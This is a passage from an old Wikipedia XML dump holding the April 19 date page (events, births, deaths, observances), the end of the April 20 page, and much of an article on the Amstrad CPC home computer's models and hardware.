*[[2003]] - [[Ruth Hale (playwright and actress)|Ruth Hale]], American playwright and actress (b. [[1908]])
*[[2003]] - [[Bernard Katz]], German-born biophysicist, recipient of the [[Nobel Prize in Physiology or Medicine]] (b. [[1911]])
*[[2005]] - [[Fumio Niwa]], Japanese novelist (b. [[1904]])

==Holidays and observances==
*[[2003]], [[2014]] - [[Easter Sunday]]
*April 20 (4/20) is associated with '''[[420 (drug culture)]]'''
*[[Astrology]]: First day of sun sign [[Taurus (constellation)|Taurus]]

==External links==
* [http://news.bbc.co.uk/onthisday/hi/dates/stories/april/20 BBC: On This Day]

----

[[April 19]] - [[April 21]] - [[March 20]] - [[May 20]] &amp;ndash; [[historical anniversaries|listing of all days]]

{{months}}

[[af:20 April]]
[[ar:20 ابريل]]
[[an:20 d'abril]]
[[ast:20 d'abril]]
[[bg:20 април]]
[[be:20 красавіка]]
[[bs:20. april]]
[[ca:20 d'abril]]
[[ceb:Abril 20]]
[[cv:Ака, 20]]
[[co:20 d'aprile]]
[[cs:20. duben]]
[[cy:20 Ebrill]]
[[da:20. april]]
[[de:20. April]]
[[et:20. aprill]]
[[el:20 Απριλίου]]
[[es:20 de abril]]
[[eo:20-a de aprilo]]
[[eu:Apirilaren 20]]
[[fa:۲۰ آوریل]]
[[fo:20. apríl]]
[[fr:20 avril]]
[[fy:20 april]]
[[ga:20 Aibreán]]
[[gl:20 de abril]]
[[ko:4월 20일]]
[[hr:20. travnja]]
[[io:20 di aprilo]]
[[id:20 April]]
[[ia:20 de april]]
[[ie:20 april]]
[[is:20. apríl]]
[[it:20 aprile]]
[[he:20 באפריל]]
[[jv:20 April]]
[[ka:20 აპრილი]]
[[csb:20 łżëkwiôta]]
[[ku:20'ê avrêlê]]
[[lt:Balandžio 20]]
[[lb:20. Abrëll]]
[[li:20 april]]
[[hu:Április 20]]
[[mk:20 април]]
[[ms:20 April]]
[[nap:20 'e abbrile]]
[[nl:20 april]]
[[ja:4月20日]]
[[no:20. april]]
[[nn:20. april]]
[[oc:20 d'abril]]
[[pl:20 kwietnia]]
[[pt:20 de Abril]]
[[ro:20 aprilie]]
[[ru:20 апреля]]
[[se:Cuoŋománu 20.]]
[[sco:20 Aprile]]
[[sq:20 Prill]]
[[scn:20 di aprili]]
[[simple:April 20]]
[[sk:20. apríl]]
[[sl:20. april]]
[[sr:20. април]]
[[fi:20. huhtikuuta]]
[[sv:20 april]]
[[tl:Abril 20]]
[[tt:20. Äpril]]
[[te:ఏప్రిల్ 20]]
[[th:20 เมษายน]]
[[vi:20 tháng 4]]
[[tr:20 Nisan]]
[[uk:20 квітня]]
[[ur:20 اپریل]]
[[wa:20 d' avri]]
[[war:Abril 20]]
[[zh:4月20日]]
[[pam:Abril 20]]</text>
    </revision>
  </page>
  <page>
    <title>April 19</title>
    <id>2196</id>
    <revision>
      <id>41937595</id>
      <timestamp>2006-03-02T19:24:04Z</timestamp>
      <contributor>
        <ip>68.85.44.169</ip>
      </contributor>
      <text xml:space="preserve">&lt;!-- Language links at bottom --&gt;
{| style=&quot;float:right;&quot;
|- 
|{{AprilCalendar}}
|-
|{{ThisDateInRecentYears|Month=April|Day=19}}
|}
'''[[April 19]]''' is the 109th day of the year in the [[Gregorian calendar]] (110th in [[leap year]]s). There are 256 days remaining.
==Events==
*[[1012]] - Martyrdom of St [[Alphege]] in [[Greenwich, London]].
*[[1529]] - At the [[Diet of Speyer]], a group of rulers (''German:'' [[Fürst]]) and independent cities (''German:'' [[Reichsstadt]]) protests the reinstatement of the [[Edict of Worms]], beginning the [[Protestantism|Protestant]] movement.
*[[1587]] - Sir [[Francis Drake]] sinks the [[France|French]] fleet in [[Cádiz Harbor]].
*[[1692]] - [[Salem witch trials|Bridget Bishop]] goes on trial in Salem, Massachusetts for witchcraft.
*[[1713]] - With no living male [[heir]]s, Emperor [[Charles VI, Holy Roman Emperor|Charles VI]] issues the [[Pragmatic Sanction of 1713|Pragmatic Sanction]] to ensure that [[Habsburg]] lands and the [[Habsburg Monarchy|Austrian throne]] would be [[Inheritance|inherited]] by his daughter, [[Maria Theresa of Austria|Maria Theresa]].
*[[1775]] - [[American Revolutionary War]]:  The [[Battle of Lexington and Concord]] &amp;ndash; [[Great Britain|British]] General [[Thomas Gage]] attempts to confiscate [[United States|American]] [[13 colonies|colonists]]' firearms. Captain [[John Parker (Captain)|John Parker]] orders his band of minutemen to not fire unless fired upon.  Random shots rang out among the British soldiers.  The minutemen promptly fired back.  This was the &quot;[[shot heard round the world]].&quot;  The British are driven back to [[Boston, Massachusetts]], thus beginning the [[American Revolutionary War]].
*[[1809]] - The army of [[Austria]] attacks and is defeated by the forces of the [[Duchy of Warsaw]] in the [[Battle of Raszyn (1809)|Battle of Raszyn]], part of the struggles of the [[Fifth Coalition]]. 
*[[1810]] - [[Venezuela]] achieves home rule: [[Emparan]], Governor of the [[Captaincy General]] is removed by the people of [[Caracas]] and a [[Junta]] is installed.
*[[1839]] - The [[Treaty of London, 1839|Treaty of London]] establishes [[Belgium]] as a kingdom.
*[[1861]] - [[American Civil War]]: [[Baltimore riot of 1861]], A pro-[[Secession]] mob in [[Baltimore, Maryland]], attacks [[United States Army]] troops marching through the city.
*[[1892]] - [[Charles Duryea]] claims to have driven the first [[automobile]] in the [[United States]], in [[Springfield, Massachusetts]].
*[[1904]] - Much of [[Toronto, Ontario]], [[Canada]], is destroyed by fire.
*[[1909]] - [[Joan of Arc]] receives [[beatification]].
*[[1919]] - Leslie Irvin of the [[United States]] makes the first successful [[parachute]] jump and [[free-fall]].
*[[1927]] - [[Mae West]] is sentenced to 10 days in jail for [[obscenity]] for her play ''[[Sex (play)|Sex]]''.
*[[1928]] - The 125th and final [[fascicle]] of the ''[[Oxford English Dictionary]]'' is published.
*[[1933]] - President [[Franklin D. Roosevelt]] announces that the [[United States]] will be abandoning the [[gold standard]].
*[[1934]] - [[Shirley Temple]] debuts in ''[[Stand Up and Cheer]]''.
*[[1938]] - [[RCA]]&amp;ndash;[[NBC]] begins regular [[television]] broadcasts.
*[[1943]] - [[World War II]]: In [[Poland]], [[Germany|German]] troops enter the [[Warsaw Ghetto|Warsaw ghetto]] to round up the remaining [[Jew]]s, beginning the [[Warsaw Ghetto Uprising]].
*1943 - ''[[Bicycle Day]]'' &amp;ndash; [[Switzerland|Swiss]] chemist Dr. [[Albert Hofmann]] deliberately takes [[LSD]] for the first time.
*[[1950]] - [[Argentina]] becomes a signatory to the [[Buenos Aires Convention|Buenos Aires]] [[copyright]] [[treaty]].
*[[1951]] - General [[Douglas MacArthur]] retires from the military.
*[[1956]] - Actress [[Grace Kelly]] marries [[Rainier III, Prince of Monaco|Rainier III of Monaco]].
*[[1960]] - Students in [[South Korea]] hold a nationwide pro-democracy protest against their president [[Syngman Rhee]], eventually forcing him to resign.
*[[1961]] - The [[Bay of Pigs]] invasion of [[Cuba]] ends in failure.
*[[1971]] - [[Sierra Leone]] becomes a [[republic]], and [[Siaka Stevens]] the [[List of Presidents of Sierra Leone|president]].
*1971 - [[Vietnam War]]: [[Vietnam Veterans Against the War]] begin a five-day demonstration in [[Washington, DC]].
*1971 - [[Charles Manson]] is sentenced to life in prison for the [[Sharon Tate]] murders.
*1971 - Launch of [[Salyut 1]], first human-made [[space station]].
*[[1976]] - [[Executive Order 9066]] is rescinded
*[[1978]] - [[Lagumot Harris]] is elected [[President]] of [[Nauru]].
*[[1980]] - In [[The Hague]], [[Netherlands]], [[Johnny Logan (singer)|Johnny Logan]] wins the twenty-fifth [[Eurovision Song Contest]] for [[Ireland]] singing &quot;What's Another Year&quot;.
*[[1989]] - A [[gun turret]] explodes on the [[USS Iowa (BB-61)|USS ''Iowa'']], killing 47 sailors.
*1989 - [[Trisha Meili]], the &quot;[[Central Park]] Jogger&quot; is raped.
*[[1993]] - The 50-day siege of the [[Branch Davidian]] building outside [[Waco, Texas]], [[United States|USA]], ends when a fire breaks out.  Eighty-one people die.
*[[1995]] - [[Oklahoma City bombing]]: The [[Alfred P. Murrah Federal Building]] in [[Oklahoma City, Oklahoma|Oklahoma City]], [[Oklahoma]], [[United States|USA]], is bombed, killing 168.
*[[1999]] - The [[Germany|German]] [[Bundestag]] returns to [[Berlin]].
*[[2000]] - An [[Air Philippines]] [[Boeing 737]]-200 crashes near [[Davao International Airport]], killing 131.
*[[2005]] - Joseph Ratzinger elected [[Pope Benedict XVI]] on the second day of the [[Papal conclave, 2005|Papal conclave]].
*[[2006]] - [[Alias]] Season Five returns from its Midseason Hiatus.

==Births==
*[[1320]] - King [[Peter I of Portugal]] (d. [[1367]])
*[[1452]] - King [[Ferdinand II of Aragon]] (d. [[1504]])
*[[1603]] - [[Michel le Tellier]], French statesman (d. [[1685]])
*[[1658]] - [[Johann Wilhelm, Elector Palatine]] (d. [[1716]])
*[[1665]] - [[Jacques Lelong]], French bibliographer (d. [[1721]])
*[[1686]] - [[Vasily Tatishchev]], Russian statesman (d. [[1750]])
*[[1721]] - [[Thomas McKean]], signer of the U.S. Declaration of Independence (d. [[1817]])
*1721 - [[Roger Sherman]], signer of the U.S. Declaration of Independence (d. [[1793]])
*[[1785]] - [[Alexandre Pierre François Boëly]], French composer (d. [[1858]])
*[[1793]] - Emperor [[Ferdinand I of Austria]] (d. [[1875]]) 
*[[1832]] - [[José Echegaray y Eizaguirre]], Spanish writer, [[Nobel Prize in Literature|Nobel Prize]] laureate (d. [[1916]])
*[[1874]] - [[Ernst Rüdin]], Swiss psychiatrist, geneticist, and eugenicist (d. [[1952]])
*[[1882]] - [[Getúlio Vargas]], President of Brazil (d. [[1954]])
*[[1883]] - [[Richard von Mises]], Austrian-born mathematician (d. [[1953]])
*[[1892]] - [[Germaine Tailleferre]], French composer  (d. [[1983]])
*[[1897]] - [[Peter de Noronha]], Indian businessman and philanthropist (d. [[1970]])
*1897 - [[Constance Talmadge]], American actress (d. [[1973]])
*[[1899]] - [[George O'Brien]], American actor (d. [[1985]])
*[[1900]] - [[Richard Hughes (writer)|Richard Hughes]], English novelist (d. [[1976]])
*[[1903]] - [[Eliot Ness]], American lawman (d. [[1957]])
*[[1912]] - [[Glenn Seaborg]], American chemist, [[Nobel Prize for Chemistry|Nobel Prize]] laureate (d. [[1999]])
*[[1919]] - [[Merce Cunningham]], American dancer and choreographher
*[[1922]] - [[Erich Hartmann]], German pilot (d. [[1993]])
*[[1925]] - [[Hugh O'Brian]], American actor
*[[1928]] - [[Alexis Korner]], English musician (d. [[1984]])
*[[1930]] - [[Dick Sargent]], American actor (d. [[1994]])
*[[1933]] - [[Dickie Bird]], English cricket umpire
*1933 - [[Jayne Mansfield]], American actress (d. [[1967]])
*[[1935]] - [[Dudley Moore]], English actor, musician, comedian, composer (d. [[2002]])
*[[1936]] - [[Wilfried Martens]], [[Prime Minister of Belgium]]
*[[1937]] - [[Elinor Donahue]], American actress
*1937 - [[Joseph Estrada]], actor and [[President of the Philippines]]
*1940 - [[Genya Ravan (nee Genyusha Zelkowitz)]], American vocalist ([[Goldie &amp; the Gingerbreads]], [[Ten Wheel Drive]])
*[[1944]] - [[James Heckman]], American economist, [[Nobel Prize in Economics|Bank of Sweden Prize]]
*1944 - [[Bernie Worrell]], American keyboardist ([[P Funk]])
*[[1946]] - [[Tim Curry]], British actor
*[[1947]] - [[Murray Perahia]], American pianist
*[[1952]] - [[Alexis Arguello]], Nicaraguan boxer
*[[1953]] - [[Ruby Wax]], British television personality
*[[1960]] - [[Roger Merrett]], Australian footballer
*1960 - [[Frank Viola]], baseball player
*[[1962]] - [[Al Unser, Jr.]], American race car driver
*[[1965]] - [[Suge Knight]], American record producer
*[[1967]] - [[Steven H Silver]], American science fiction editor
*1967 - [[Greg Ferrara]], Independent Filmmaker, writer
*1967 - [[Dar Williams]], American musician and songwriter
*[[1968]] - [[Mswati III]], [[King of Swaziland]]
*1968 - [[Ashley Judd]], American actress
*[[1970]] - [[Kelly Holmes]], English athlete
*1970 - [[Luis Miguel]], Puerto Rican singer
*[[1972]] - [[Rivaldo]], Brazilian footballer
*[[1975]] - [[Jason Gillespie]], Australian cricketer
*1975 - [[Jussi Jääskeläinen]], Finnish footballer(Goalkeeper)
*[[1977]] - [[Lucien Mettomo]], Cameroonian footballer
*[[1978]] - [[James Franco]], American actor
*1978 - [[Gabriel Heinze]], Argentinian footballer
*[[1979]] - [[Kate Hudson]], American actress
*[[1981]] - [[Hayden Christensen]], Canadian actor
*1981 - [[Catalina Sandino Moreno]], Colombian actress
*[[1987]] - [[Maria Sharapova]], Russian tennis player
*1987 - [[Oksana Akinshina]], Russian actress

==Deaths==
*[[1012]] - [[Alphege]], [[Archbishop of Canterbury]] (b. [[954]])
*[[1054]] - [[Pope Leo IX]] (b. [[1002]])
*[[1390]] - King [[Robert II of Scotland]] (b. [[1316]])
*[[1560]] - [[Philipp Melanchthon]], German humanist and reformer (b. [[1497]])
*[[1578]] - [[Uesugi Kenshin]], Japanese samurai and warlord (b. [[1530]])
*[[1588]] - [[Paolo Veronese]], Italian painter
*[[1608]] - [[Thomas Sackville, 1st Earl of Dorset]], English statesman and poet (b. [[1536]])
*[[1627]] - [[John Beaumont]], English poet (b. [[1583]])
*[[1629]] - [[Sigismondo d'India]], Italian composer
*[[1632]] - King [[Sigismund I of Sweden]] (b. [[1561]])
*[[1686]] - [[Antonio de Solís y Ribadeneyra]], Spanish writer (b. [[1610]])
*[[1689]] - Queen [[Christina of Sweden]] (b. [[1626]])
*[[1733]] - [[Elizabeth Villiers]], mistress of [[William III of England]]
*[[1768]] - [[Canaletto]], Italian artist (b. [[1697]])
*[[1791]] - [[Richard Price]], Welsh philosopher (b. [[1723]])
*[[1813]] - [[Benjamin Rush]], physician, activist (b. [[1745]])
*[[1824]] - [[George Gordon Byron, 6th Baron Byron]], English poet (b. [[1788]])
*[[1854]] - [[Robert Jameson]], Scottish naturalist (b. [[1774]])
*[[1881]] - [[Benjamin Disraeli]], [[Prime Minister of the United Kingdom]] (b. [[1804]])
*[[1882]] - [[Charles Darwin]], English biologist (b. [[1809]])
*[[1906]] - [[Pierre Curie]], French physicist, [[Nobel Prize in Physics|Nobel Prize]] laureate (b. [[1859]])
*[[1914]] - [[Charles Sanders Peirce]], American philosopher and mathematician (b. [[1839]])
*[[1916]] - [[Ephraim Shay]], American inventor (b. [[1839]])
*[[1926]] - [[Alexander Alexandrovich Chuprov]],  Russian statistician (b. [[1874]])
*[[1930]] - [[Georges-Casimir Dessaulles]], Canadian senator (b. [[1827]])
*[[1937]] - [[William Martin Conway]], British art critic and mountaineer (b. [[1856]])
*[[1949]] - [[Ulrich Salchow]], Swedish figure skater (b. [[1877]])
*[[1950]] - [[Ernst Robert Curtius]], Alsatian philologist (b. [[1886]])
*[[1967]] - [[Konrad Adenauer]], [[Chancellor of Germany]] (b. [[1876]])
*[[1971]] - [[Russ Hodges]], American sports broadcaster (b. [[1910]])
*1971 - [[Earl Thomson]], Canadian athlete (b. [[1895]])
*[[1973]] - [[Hans Kelsen]], Austrian-born legal theorist
*[[1974]] - [[Ayub Khan]], [[President of Pakistan]] (b. [[1907]])
*[[1975]] - [[Percy Julian|Percy L. Julian]], American chemist (b. [[1899]])
*[[1987]] - [[Hugh Brannum]], American actor (b. [[1910]])
*1987 - [[Maxwell D. Taylor]], American general and diplomat (b. [[1901]])
*[[1989]] - [[Daphne du Maurier]], English author (b. [[1907]])
*[[1992]] - [[Frankie Howerd]], English comedian and actor (b. [[1917]])
*[[1993]] - [[David Koresh]], American cult leader (b. [[1959]])
*[[1998]] - [[Octavio Paz]], Mexican diplomat and writer, [[Nobel Prize in Literature|Nobel Prize]] laureate (b. [[1914]])
*[[1999]] - [[David Sanes]], US Navy employee whose death led to Navy's withdrawal from Puerto Rico
*[[2002]] - [[Layne Staley]], American musician (b. [[1967]])
*[[2004]] - [[Norris McWhirter]], Scottish co-founder of the ''Guinness Book of Records'' (b. [[1925]])
*2004 - [[John Maynard Smith]], English bioligist (b. [[1920]])
*[[2005]] - [[Ruth Hussey]], American actress (b. [[1911]])
*2005 - [[Bryan Ottoson]], American musician (b. [[1978]])
*2005 - [[Niels-Henning Ørsted Pedersen]], Danish jazz bassist (b. [[1946]])

==Holidays and observances==
*[[Patriots Day]] ([[Massachusetts]], [[Maine]], and [[Wisconsin]], [[United States|USA]])
*Declaration of Independence Day ([[Venezuela]])
*Republic Day ([[Sierra Leone]])
*Landing of the 33 ([[Uruguay]])
*[[Feast day]] of the following [[saint]]s in the [[Roman Catholic Church]]:
**[[Saint Emma]]
**[[George of Antioch]]
**[[Ursmar]]
**[[Expeditus]]
*[[Primrose Day]] ([[England]]) &amp;ndash; [[Primula vulgaris|primroses]] are placed on the statue of [[Benjamin Disraeli]] in Parliament Square, [[London]] on the anniversary of his death ([[1881]]). 
*The Roman holiday of [[Cerealia]] ends. ([[Roman Empire]])
*[[Bicycle Day]]

*[[Easter]] [[Sunday]] [[1908]], [[1981]], [[1987]], [[1992]]. In the [[Gregorian Calendar]] Easter Sunday falls on [[19 April]] more often than on any other date.

==External links==
* [http://news.bbc.co.uk/onthisday/hi/dates/stories/april/19 BBC: On This Day]
* [http://www.tnl.net/when/4/19 Today in History: April 19]

----

[[April 18]] - [[April 20]] - [[March 19]] - [[May 19]] &amp;ndash; [[historical anniversaries|listing of all days]]

{{months}}

[[ilo:Abril 19]]

[[af:19 April]]
[[ar:19 إبريل]]
[[an:19 d'abril]]
[[ast:19 d'abril]]
[[bg:19 април]]
[[be:19 красавіка]]
[[bs:19. april]]
[[ca:19 d'abril]]
[[ceb:Abril 19]]
[[cv:Ака, 19]]
[[co:19 d'aprile]]
[[cs:19. duben]]
[[cy:19 Ebrill]]
[[da:19. april]]
[[de:19. April]]
[[et:19. aprill]]
[[el:19 Απριλίου]]
[[es:19 de abril]]
[[eo:19-a de aprilo]]
[[eu:Apirilaren 19]]
[[fo:19. apríl]]
[[fr:19 avril]]
[[fy:19 april]]
[[ga:19 Aibreán]]
[[gl:19 de abril]]
[[ko:4월 19일]]
[[hr:19. travnja]]
[[io:19 di aprilo]]
[[id:19 April]]
[[ia:19 de april]]
[[ie:19 april]]
[[is:19. apríl]]
[[it:19 aprile]]
[[he:19 באפריל]]
[[jv:19 April]]
[[ka:19 აპრილი]]
[[csb:19 łżëkwiôta]]
[[ku:19'ê avrêlê]]
[[la:19 Aprilis]]
[[lt:Balandžio 19]]
[[lb:19. Abrëll]]
[[li:19 april]]
[[hu:Április 19]]
[[mk:19 април]]
[[ms:19 April]]
[[nap:19 'e abbrile]]
[[nl:19 april]]
[[ja:4月19日]]
[[no:19. april]]
[[nn:19. april]]
[[oc:19 d'abril]]
[[pl:19 kwietnia]]
[[pt:19 de Abril]]
[[ro:19 aprilie]]
[[ru:19 апреля]]
[[se:Cuoŋománu 19.]]
[[sq:19 Prill]]
[[scn:19 di aprili]]
[[simple:April 19]]
[[sk:19. apríl]]
[[sl:19. april]]
[[sr:19. април]]
[[fi:19. huhtikuuta]]
[[sv:19 april]]
[[tl:Abril 19]]
[[tt:19. Äpril]]
[[te:ఏప్రిల్ 19]]
[[th:19 เมษายน]]
[[vi:19 tháng 4]]
[[tr:19 Nisan]]
[[uk:19 квітня]]
[[ur:19 اپریل]]
[[wa:19 d' avri]]
[[war:Abril 19]]
[[zh:4月19日]]
[[pam:Abril 19]]</text>
    </revision>
  </page>
  <page>
    <title>Amstrad CPC</title>
    <id>2197</id>
    <revision>
      <id>40999035</id>
      <timestamp>2006-02-24T11:01:15Z</timestamp>
      <contributor>
        <username>Fourohfour</username>
        <id>396050</id>
      </contributor>
      <comment>/* The 3&quot; floppy disk drives */  minor rewrite</comment>
      <text xml:space="preserve">[[Image:Amstrad CPC464.jpg|right|thumb|370px|Amstrad CPC 464, with CTM644 colour monitor]]

The '''Amstrad CPC''' was a series of [[8-bit]] [[home computer]]s produced by [[Amstrad]] during the [[1980s]] and early [[1990s]]. CPC stood for 'Colour Personal Computer', although it was possible to purchase a CPC with a [[green screen]] (GT65/66) as well as with the standard colour screen (CTM640). 
The first machine, the CPC 464 was introduced in [[1984]]. It was designed to be a direct competitor to the [[Commodore 64]] and [[Sinclair Research Ltd|Sinclair]] [[ZX Spectrum]] systems. 

Outwardly, the most distinguishing features of Amstrad's offering were the matte black console case with sharp corners and narrowly rectangular form factor (the latter due to the built-in [[Compact audio cassette|cassette tape]] deck ('''CPC 464''') or [[Floppy_drive#The_3-inch_compact_floppy_disk|floppy disk drive]] ('''CPC 664''' and '''CPC 6128'''), the keyboard's distinctly coloured special keys (all the non-typewriter-standard keys), and the unique power supply hookup with one lead going from the console to the monitor (or RF modulator) and one lead going the other way. A television could be used with an optional adapter. 

==The Amstrad CPC sold as a &quot;complete system&quot;==
[[Image:Amstrad CPC Advert.png|right|thumb|UK advert for the Amstrad&amp;nbsp;CPC&amp;nbsp;464]]
Amstrad initially promoted the CPC as being an improvement on the competing [[ZX Spectrum]] and [[C64]] because it was a '''complete system''' - including everything required to use the machine in one box. Compared to a C64 or a ZX Spectrum, the Amstrad CPCs shipped with their own monitor, had a built in tape recorder or floppy disk drive and even a small loudspeaker. This marketing gave a more &quot;professional&quot; appeal to the Amstrad CPC by marketing it in the same way as business-oriented systems, rather than gaming or home oriented ones.

As a late entrant to the European 8-bit market, the CPC range never achieved the sales volume of either the ZX Spectrum or the C64, but the advantages of a proper typewrite-style keyboard and integrated tape or floppy drive saw it obtain considerable market share in the late 80s. Despite strong competition in the UK, it became the most popular and best-selling computer in France at this time.

==The CPC family==
===The Amstrad CPC 464, 472, 664, 6128===
The original CPC was sold in the following configurations:

*'''CPC 464''' &amp;ndash; [[Compact audio cassette|Tape deck]], 64 [[kilobyte|KB]] [[random access memory|RAM]], square-edged keyboard
*'''CPC 472''' &amp;ndash; Tape deck, 72K RAM (although the extra 8K of RAM cannot be used); produced in small numbers for the Spanish market to avoid a legal ruling requiring that all computers with 64 KB or less RAM must be localized to the Spanish language, including the keyboard and screen messages.
*'''CPC 664''' &amp;ndash; [[Floppy_drive#The_3-inch_compact_floppy_disk|3&quot; Floppy disk drive]], 64K RAM, bowed keyboard; short-lived model, quickly replaced by the better-specified 6128
*'''CPC 6128''' &amp;ndash; 3&quot; Floppy disk drive, 128K RAM (accessed using [[bank switching]]), more PC-like keyboard

External disk drives such as the DDI-1/FD-1 were available for the 464. A cassette adapter was available for the 664 and 6128. All 128K models were [[backward compatibility|backward compatible]] with the 64K variants. A third-party hardware addon, the [[Multiface]], allowed backup of most tape software to disk.

Most games and software targeted the 64K RAM 464 and 664 models. Only a handful of titles exclusively targeted the 128K machines.

The memory layout of the system allowed the CPCs to run [[CP/M|CP/M 2.2]] and CP/M software adapted especially for the machines was not uncommon. An Amstrad-specific variant of CP/M 3.0 (aka CP/M Plus) was developed for the 6128 and used in later years.

===West Germany: Schneider CPC 464, 664 and 6128===
Amstrad's German partner company '''Schneider''' produced its own models of the CPC 464, 664 and 6128. These machines had grey keys in place of the Amstrad coloured alternatives and an industry standard [[Micro ribbon|Centronics]] port in place of the expansion edge connector but were otherwise identical at the hardware level. Documentation and case labels were translated into German.

===East Germany: KC compact===
Like most other computers of the era, the CPC inspired a clone in the [[Eastern bloc]], the '''[[KC compact]]''' made in [[East Germany]] using Russian and East German components.

The machine differed from a CPC visually with a different style of case, external power supply and (optional and even more scarce than the main device) external 5.25&quot; 'Robotron' disc drive. Unlike the Amstrad models it could be used with a television screen out of the box. It ran BASIC 1.1 and a CP/M 2.6 clone, the German speaking MicroDOS. It had 64K RAM built in and an additional 64K RAM was provided with the external disc/tape drive adapter. 

The Z80 processor was replaced with a U 880 (which is 100% bug-compatible), and some proprietary Amstrad I/O chips replaced with clones based on the Z8536. This clone machine was around 95% compatible with the original.

===The CPC 5512===
The &quot;CPC 5512&quot; was a non-functional [[hoax|fake]] concocted by a French magazine; the specifications included 512K RAM, a 5.25&quot; floppy disk drive, and GEM on a CPC 6128 clone.

===PLUS models===
In 1990 Amstrad introduced the &quot;Plus&quot; series which tweaked the hardware in many ways and added a [[Cartridge (electronics)|cartridge]] slot to all models. Most improvements were to the video display which saw an increase in palette to 4096 colours and gained a capacity for [[Sprite (computer graphics)|hardware sprites]]. Splitting the display into two separate windows and [[pixel]] scrolling both became full supported hardware features although both were possible on the non-&quot;Plus&quot; hardware using clever programming of the existing [[Motorola 6845]].

An automatic DMA transfer system for feeding the sound chip was also added but the sound chip itself remained unchanged. Additionally, the BASIC command set for disc access was improved.

A cut down CPC+ without the keyboard nor support for non-cartridge media was released simultaneously as the [[Amstrad_GX4000|'''GX4000''']] [[video game console]].

These models did not do very well in the marketplace, failing to attract any substantial third party support. The 8-bit technology behind the CPC was starting to look a little out of date by 1990 and users resented the substantial price hike for cartridge games compared to their tape and disc counterparts.

==Hardware description==
All CPC models were based on a [[Zilog Z80]] processor clocked at 4 MHz. Because a common pool of RAM is shared with the video circuits, the Z80 may only make a memory accesses every four cycles - which has the effect of rounding all instruction cycle lengths up to the next multiple of four.

The system came with 64 KB or 128 KB of RAM depending on the model (capable of being expanded to 512k). The machines also featured a standard 9-pin [[Atari]]-style [[joystick]] socket which was able to take two joysticks via a splitter.

===Video (graphics): modes, outputs===
Underlying the CPCs video output was the [[Motorola 6845]] address generator. This chip was connected to a pixel generator that supported 4 bpp, 2 bpp and 1 bpp output (bpp = [[color depth|bits per pixel]]). The address generator was clocked at a constant rate so the 4 bpp display generated half as many pixels as the 2 bpp and a quarter as many as the 1 bpp.

The [[Read-only memory|ROM]] featured three built-in display resolutions but many others could be achieved by reprogramming the 6845.

The standard video modes were:
*'''Mode 0''': '''160×200''' pixels with 16 colors (4 [[color depth|bpp]])
*'''Mode 1''': '''320×200''' pixels with 4 colors (2 bpp)
*'''Mode 2''': '''640×200''' pixels with 2 colors (1 bpp)

A colour [[palette]] of 27 colors was supported, derived from [[RGB]] colour space with each component assigned as either off, half on or on. The later '''Plus''' models extended this to 4096 colours and added support for hardware sprites.

This hardware compares well with the other 8-bit computers. In particular the CPC lacks the colour clash of the ZX Spectrum and clever programming of the 6845 could produce [[overscan]], different resolutions (although with the same pixel density) and smooth pixel scrolling.

The machine lacked either an [[RF modulator|RF TV]] or [[composite video]] output and instead shipped with a proprietary 5-pin [[DIN connector]] intended for use solely with the supplied Amstrad monitor. An external adapter for RF TV was available to be bought separately.

The five-pin DIN connector is capable of driving a [[SCART]] television with a correctly wired lead.

===Audio (sound)===
The CPC used the [[General Instruments AY-3-8912]] [[sound chip]], providing three channels, each configurable to generate square waves, white noise or both. A small array of hardware volume envelopes are available.

Output was provided in mono by a small (4 [[Metre#SI_multiples|cm]]) built-in loudspeaker with volume control, driven by an unusually powerful [[amplifier]]. [[Stereophonic sound|Stereo]] output was provided through a 3.5mm [[headphones]] jack, not present on some early CPC464 models. In those models, what looked like a standard 3.5&quot; headphone jack was actually used for connecting an external tape recorder, although later models used a five-pin DIN connector for the same purpose.

Playback of [[digital sampling|digital sound sample]]s at a resolution of a little better than 5-bit, as heard on the title screen of the game ''[[RoboCop (videogame)|RoboCop]]'', was possible through clever programming of the sound chip. This trick was very processor intensive and hard to combine with any other processing.

===The 3&quot; floppy disk drives===
[[Image:Compact Floppy.jpg|right|thumbnail|150px| The CF has a harder casing than a 3&amp;frac12;&quot; floppy; the metal door is opened by a sliding plastic tab on the right side.]]

Amstrad's idiosyncratic choice of [[Hitachi, Ltd.|Hitachi's]] 3&quot; floppy disk drive, when the rest of the PC industry was moving to [[Sony]]'s 3.5&quot; format, is often claimed to be due to Amstrad bulk-buying a large consignment of 3&quot; drive units in [[Asia]]. The cheapest drive (built-in in later models) was a single-sided 40-track unit that required the user to physically remove and flip the disk to access both sides. Each side had its own independent write-protect switch. The sides were termed &quot;A&quot; and &quot;B&quot;, with each one holding 180KB (178KB in [[AMSDOS]] format) for a total of 360KB per disc.  

The interface with the drives was a NEC 765 [[Floppy disk controller|FDC]], used for the same purpose in the IBM [[PC/XT]], [[PC/AT]] and [[PS/2]] machines. Many of its features were unused in order to cut costs, namely [[DMA]] transfers and support for [[single density]] disks; they were formatted as [[double density]] using [[Modified frequency modulation]]. 

Disks were shipped in a paper sleeve or a hard plastic case resembling a [[compact disc]] &quot;jewel&quot; case. The casing is thicker and more rigid than that of 3.5&quot; diskettes and sliding metal cover to protect the media surface is internal to the casing and latched, unlike the simple external sliding cover of Sony's version (some reviews at the time reported driving over them with no problems). Because of this they were significantly more expensive than both 5.25&quot; and 3.5&quot; alternatives. This, combined with their low nominal capacities and their essentially proprietary nature, lead to the format being discontinued when the CPC itself was discontinued.

Apart from Amstrad's other 3&quot; machines (the [[Amstrad PCW|PCW]] and ZX Spectrum +3), the only other computer systems to use them were mostly obscure and exotic CP/M systems such as the [[Tatung Einstein]] and [[Osborne 1|Osborne]] machines.

The data formatting of 3&quot; disks was very similar to that of 5&amp;frac14;&quot; disks, and the Amstrad CPC machines were able to use 5&amp;frac14;&quot; drives through their &quot;external drive&quot; port - either one specially designed for use by the CPC or an adapted IBM-PC drive.

A more popular alternative was to attach an adapted IBM-PC 3&amp;frac12;&quot; drive for operation in either single-sided 180 KB or double-sided 360 KB mode, although with the later availability of the PARADOS Disc Operating System, 720k per disc became available.

===Serial port adaptor===
An official [[RS-232|RS-232-C]] [[D-subminiature|D25]] serial port adaptor was produced that attached to the expansion connector at the rear of the machine, and had a through-connector for the CPC464 disk drive or other peripherals. The adaptor came with a &quot;''Book of Spells''&quot; for facilitating data transfer between other systems using a proprietary [[protocol (computing)|protocol]] in the device's own ROM, as well as [[computer terminal|terminal]] software to connect to British Telecom's [[Prestel]] service. A separate version of the ROM was created for the U.S. market due to the use of the commands &quot;SUCK&quot; and &quot;BLOW&quot;, which were considered unacceptable there.

===Similarities to the BBC Micro===
